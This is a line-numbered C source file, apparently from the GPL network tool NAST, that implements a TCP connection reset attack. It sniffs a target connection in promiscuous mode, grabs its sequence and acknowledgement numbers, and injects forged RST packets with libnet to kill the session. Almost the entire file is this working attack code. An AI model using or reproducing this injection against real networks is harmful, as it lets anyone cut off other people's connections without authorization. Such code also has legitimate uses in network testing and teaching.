4
This program is free software; you can redistribute it and/or modify
5
it under the terms of the GNU General Public License as published by
6
the Free Software Foundation; either version 2 of the License, or
7
(at your option) any later version.
9
This program is distributed in the hope that it will be useful,
10
but WITHOUT ANY WARRANTY; without even the implied warranty of
11
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
GNU General Public License for more details.
14
You should have received a copy of the GNU General Public License
15
along with this program; if not, write to the Free Software
16
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
20
#include "include/nast.h"
30
/* reset a connection */
32
int rst (char *dev,u_long ip_src,u_long ip_dst,u_short sport,u_short dport)
34
struct libnet_ipv4_hdr *ip;
35
struct libnet_tcp_hdr *tcp;
39
#ifdef HAVE_LIBNCURSES
46
w_error(0,"Is very useless demonize me in resetting connection! Omit");
50
pcap_lookupnet (dev,&netp,&maskp,errbuf);
52
if((descr=pcap_open_live(dev, BUFSIZ, PROMISC, 10, errbuf)) == NULL)
54
w_error(1, "pcap_open_live: %s\n", errbuf);
57
offset=(device(dev,descr));
60
n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s:%d -> %s:%d)\n",libnet_addr2name4(ip_src , 0),sport,libnet_addr2name4(ip_dst , 0),dport);
61
else if (!dport && sport)
62
n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s:%d -> %s)\n",libnet_addr2name4(ip_src , 0),sport,libnet_addr2name4(ip_dst , 0));
63
else if (!sport && dport)
64
n_print("princ",1,1,0,"- Waiting for SEQ ACK (%s -> %s:%d)\n",libnet_addr2name4(ip_src , 0),libnet_addr2name4(ip_dst , 0),dport);
69
packet = (u_char *) pcap_next(descr, &hdr);
71
ip = (struct libnet_ipv4_hdr *) (packet + offset);
72
if (ip->ip_p != IPPROTO_TCP)
74
if ((ip->ip_src.s_addr != ip_src) || (ip->ip_dst.s_addr != ip_dst))
76
tcp = (struct libnet_tcp_hdr *) (packet + offset + sizeof (struct libnet_ipv4_hdr));
78
if (!(tcp->th_flags & TH_ACK))
81
/* the specified port are not either zero */
84
if ((tcp->th_sport != htons(sport)) || (tcp->th_dport != htons(dport)))
88
else if (!dport && sport)
90
if ((tcp->th_sport != htons(sport)))
93
dport = htons (tcp->th_dport);
96
else if (!sport && dport)
98
if ((tcp->th_dport != htons(dport)))
101
sport = htons (tcp->th_sport);
104
info.seq = htonl (tcp->th_seq);
105
info.ack = htonl (tcp->th_ack);
107
n_print("princ",3,1,0,"- Stoled SEQ (%lu) ACK (%lu)...\n", info.seq, info.ack);
115
if ((l = libnet_init (LIBNET_RAW4, NULL, errbuf))==NULL)
117
w_error(1, "libnet_init: %s\n", errbuf);
120
if (libnet_build_tcp (sport, dport, info.seq, info.ack, TH_RST, 32767, 0, 0, LIBNET_TCP_H, NULL, 0, l, 0)==-1)
123
w_error(1, "Error building tcp header : %s\n" ,libnet_geterror(l));
126
if (libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H, 0x08, 35320, 0, 64, IPPROTO_TCP, 0, ip_src , ip_dst , NULL, 0, l, 0)==-1)
129
w_error(1, "Error building ip header : %s\n", libnet_geterror(l));
132
/* send 2 packet for security :) */
133
for (n = 0; n < 2 ; n++)
134
if (libnet_write (l) == -1)
137
w_error(1, "Error writing packet on wire : %s\n", libnet_geterror(l));
141
n_print("princ",5,1,0,"- Connection has been resetted\n\n");